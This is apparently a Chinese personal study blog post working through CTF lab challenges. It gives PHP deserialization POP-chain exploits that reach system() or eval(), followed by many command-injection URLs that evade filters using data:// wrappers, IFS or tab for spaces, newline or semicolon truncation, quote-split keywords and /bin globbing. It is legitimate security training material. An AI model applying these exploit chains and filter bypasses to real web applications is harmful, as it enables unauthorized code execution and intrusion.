今天是2026年7月30日

分享一下今天的学习情况,今天复习了之前的一些知识,反序列化和RCE

复习

反序列化:

1.进入靶场

这段代码里有三个魔术方法,第一个destruct():对象被销毁时,自动执行。第二个tostring():被当作字符串输出时,自动执行。第三个__call():调用一个不存在的函数时,自动触发。这三个魔术方法可以被利用,先对它们进行实例化,把它们赋值到变量中如下:

再让a中的Manbo=$b这样就能触发$b,之后再让b中的zabuzabu=$c,这样就能触发$c.
最后让$c中的eval函数来执行命令,可以提前进行赋值,也可让$c指向hajimi='命令',最终payload:

<?php
error_reporting(0);    #抑制报错
class step0ne{    #创建类
    public $Manbo;    
    public $Omogeli;
    public function __destruct(){
        echo $this->Manbo;
    }
}
class steptw0{
    public $zabuzabu;
    public $yedayeda;
    public function __tostring(){
        $this->zabuzabu->manbo();
    }
}
class stepthr33{
    public $hajimi="system('cd /;cat flag');";
    public $amiluosi;
    public function __call($method, $args){
        eval($this->hajimi);
    }
}
$a=new step0ne();
$b=new steptw0();
$c=new stepthr33();
$a->Manbo=$b;
$b->zabuzabu=$c;
echo serialize($a);
?>

最终拿到flag:NSSCTF{6a054d62-96df-4b8f-89b5-4f6a671b345f}

2.进入靶场

根据提示到/Ditie.php目录并没有发现有用的东西,在主页面源代码中看到一串base64编码:

解码后得到题目:

<?php
class step0ne{
    public $nl;
    public $tac;
    public $less;
    public function __wakeup(){
        $this->nl->base64;
    }
}
class steptw0{
    public $rev;
    public $uniq;
    public $more;
    public function __get($name){
        $this->rev->tail='sed';
    }
}
class stepthr33{
    public $sort;
    public $file;
    public $head;
    public function __set($name, $value){
        system($this->sort);
    }
}
$a=$_GET['CTF'];
unserialize($a);
怎么这些属性有点像linux读取文件的指令啊,快快收藏起来吧,麻麻再也不用担心我做不来题了

构造payload:

<?php
error_reporting(0);
class step0ne{
    public $nl;
    public $tac;
    public $less;
    public function __wakeup(){    #在反序列化时,自动触发
        $this->nl->base64;
    }
}
class steptw0{    #让其指向不存在的属性
    public $rev;
    public $uniq;
    public $more;
    public function __get($name){    #读取一个不存在的属性时,自动触发
        $this->rev->tail='sed';
    }
}
class stepthr33{    #让其赋值给一个不存在的属性
    public $sort='cd /;cat flag';
    public $file;
    public $head;
    public function __set($name, $value){    #给一个不存在的属性赋值时,自动触发
        system($this->sort);
    }
}
$a=new step0ne();
$b=new steptw0();
$c=new stepthr33();
$a->nl=$b;
$b->rev=$c;
echo serialize($a);
?>

最后拿到flag:

3.进入靶场

根据提示到/maomao.php目录:

看到题目源码,直接构造payload:

<?php
error_reporting(0);
class step0ne{
    public $mimi;
    public $miao;
    public function __destruct(){    #对象被销毁时,自动触发
        echo "触发destruct\n";
        $this->mimi=='nohajimi';
    }
}
class steptw0{
    public $maomao;
    public $maoer;
    public function __tostring(){    #
        echo "触发tostring\n";
        $this->maomao->nohajimi;
    }
}
class stepthr33{
    public $ju;
    public $sanhua;
    public function __get($name){
        echo "触发get\n";
        $this->ju->sanhua='cute';
    }
}
class stepf0ur{
    public $nainiu;
    public $momo;
    public function __set($name, $value){
        echo "触发set\n";
        $this->nainiu->funny();
    }
}
class stepfinall{
    public $momo="cd /;cat flag";
    public $shufu;
    public function __call($method, $args){
        system($this->momo);
    }
}
$a=new step0ne();
$b=new steptw0();
$c=new stepthr33();
$d=new stepf0ur();
$e=new stepfinall();
$a->mimi=$b;
$b->maomao=$c;
$c->ju=$d;
$d->nainiu=$e;
echo serialize($a);
?>

拿到flag:NSSCTF{1d964785-bbf4-49b9-8325-dc5e19f94804}

RCE:

4.进入靶场

题目过滤了flag、php、file三个大小写,用data伪协议传一句话木马读flag:

拿到flag:ctfshow{cc42ab17-84bf-4fec-af89-23995c803ac3}

5.进入靶场

题目过滤了flag大小写并会在我们输入的字符后加一个|.php|,可以用data伪协议来读取flag,直接构造payload:

https://86df9290-7d73-43a6-bdcd-717d30a182ec.challenge.ctf.show/?c=data://text/plain,<?php system("ls");?>

成功看到目录:

读取flag:

https://86df9290-7d73-43a6-bdcd-717d30a182ec.challenge.ctf.show/?c=data://text/plain,<?php system("c\at fl\ag.php");?>

6.进入靶场

我们输入的字符会被拼接 >/dev/null 2>&1,直接用 ; 来进行截断,最终payload:

https://3d726d3c-f7b8-4ada-a013-cce48b2b7d47.challenge.ctf.show/?c=cat flag.php;

成功拿到flag:ctfshow{de2fab6a-a2be-43a7-a234-6c91cd1157ea}

7.进入靶场

题目过滤了;、cat大小写,并且会把我们输入的字符和>/dev/null 2>&1进行拼接,可以用%0a(换行符)进行绕过,构造payload:

https://9d3cc739-e04f-4f37-96f0-16580ba327c0.challenge.ctf.show/?c=ca\t flag.php%0a

成功拿到flag:ctfshow{8a4c3be8-4941-4c51-9bff-e5d2f8164d86}

8.进入靶场

这一题和上一题差不多,直接构造payload:

https://d7ad33e9-12b4-4698-98a0-095d1bdf407f.challenge.ctf.show/?c=tac f*.php||

拿到flag:ctfshow{1be05cbc-357c-4372-ab42-0872e0bd1e95}

9.进入靶场

这次过滤了空格,可以用%09或{IFS}来绕过,直接构造payload:

https://15b84616-fd8d-434c-a6f2-9677504ebf09.challenge.ctf.show/?c=tac%09fl??.php||

拿到flag:ctfshow{121fe7fa-4755-4f2e-8428-08951297ae91}

10.进入靶场

这次又把0-9的数字全部过滤了还有$、*、以及空格,可以继续沿用%09来绕过空格和 \ 来绕过flag过滤,直接构造payload:

https://0330b8d7-bca1-4f44-9356-b2c1ba7480e9.challenge.ctf.show/?c=tac%09f\lag.php||

拿到flag:ctfshow{3dfeab93-904d-49e4-8ae2-c6c58f3e487b}

11.进入靶场

这次过滤又多了几个,但没有影响,继续沿用上一题的payload:

https://5ef42207-4ed1-4eee-93f7-4022160af874.challenge.ctf.show/?c=tac%09f\lag.php||

拿到flag:ctfshow{f1b7b9f9-bb8c-440a-a389-0777e2f0720a}

12.进入靶场

这次又多了几个,但还是无影响,依旧沿用payload:

https://6f8bc001-c036-4cea-99a4-af8232f0a5f8.challenge.ctf.show/?c=tac%09f"la"g.php||

拿到flag:ctfshow{49b26687-5653-4315-a1bf-65882169fce5}

13.进入靶场

又多了,还是无影响:

https://e778475f-6118-4ab5-86a6-38230e1f20ee.challenge.ctf.show/?c=tac%09f"la"g.php||

拿到flag:ctfshow{44b86854-db84-4e42-ad1d-1255432b75ab}

14.进入靶场

这次%09和tac用不了了,但$被放出来了,可以用${IFS}来绕过空格,可以用引号来绕过cat或tac过滤,直接构造payload:

https://a20033b7-687b-488c-ac88-4989e896d598.challenge.ctf.show/?c=c"a"t${IFS}fla?.php||

但是没有拿到flag

我们用ls${IFS}/来看看根目录:

发现flag藏在根目录,构造payload来读取:

https://a20033b7-687b-488c-ac88-4989e896d598.challenge.ctf.show/?c=c"a"t${IFS}../../../fl"a"g||

成功拿到flag:ctfshow{87105610-a42d-4312-b7ad-2f4052bfbeb5}

15.进入靶场

这次不仅过滤了大量字符,而且还加强了正则匹配检测模糊匹配,在Linux中命令是存放在/bin目录下的,用/bin/ls也可以执行命令,于是可以构造payload:

https://c2f24787-0c50-40a9-864a-29b2d59e9022.challenge.ctf.show/?c=/bin/ca?${IFS}f?a?.php

拿到flag:ctfshow{590b802f-ad35-4c07-8eed-ca55fbcd9030}

今天的分享就到这里,感谢您的观看。。。